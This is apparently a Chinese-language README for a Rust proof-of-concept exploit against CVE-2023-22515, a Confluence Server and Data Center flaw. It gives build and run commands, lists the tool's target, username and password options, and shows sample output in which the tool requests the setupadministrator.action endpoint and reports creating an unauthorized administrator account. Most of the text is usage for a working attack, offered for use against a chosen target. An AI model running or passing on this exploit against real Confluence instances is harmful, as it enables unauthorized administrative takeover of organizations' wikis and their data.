Confluence 是由澳大利亚软件公司 Atlassian 开发的基于 Web 的企业维基系统。 Atlassian 已获悉部分客户报告的问题，外部攻击者可能利用公开可访问的 Confluence Server 和 Data Center 实例中先前未知的漏洞，创建未经授权的 Confluence 管理员账户并访问 Confluence 实例。
该漏洞已被归类为 CVE-2023-22515
首先使用以下命令进行编译：
cargo build --release
您可以通过以下两种方式执行：
cargo run -- --target http://localhost --username "teste" --password "teste"
.\target\release\cve_2023_22515 --target http://localhost --username "teste" --password "teste"
这将显示工具的帮助信息。以下是它支持的所有参数：
CVE-2023-22515
Usage: CVE_2023_22515 --target <TARGET> --username <USERNAME> --password <PASSWORD>
Options:
-t, --target <TARGET> Insert target
-u, --username <USERNAME> Insert username
-p, --password <PASSWORD> Insert password
-h, --help Print help
cargo run -- --target http://example.com --username "teste" --password "teste"
[!] Request for: http://example.com/setup/setupadministrator.action
[!] Creating Administrator account
[!] Checking the answer
[+] Username created successfully: teste
[+] Password created successfully: teste
[+] Exploit ending successfully!!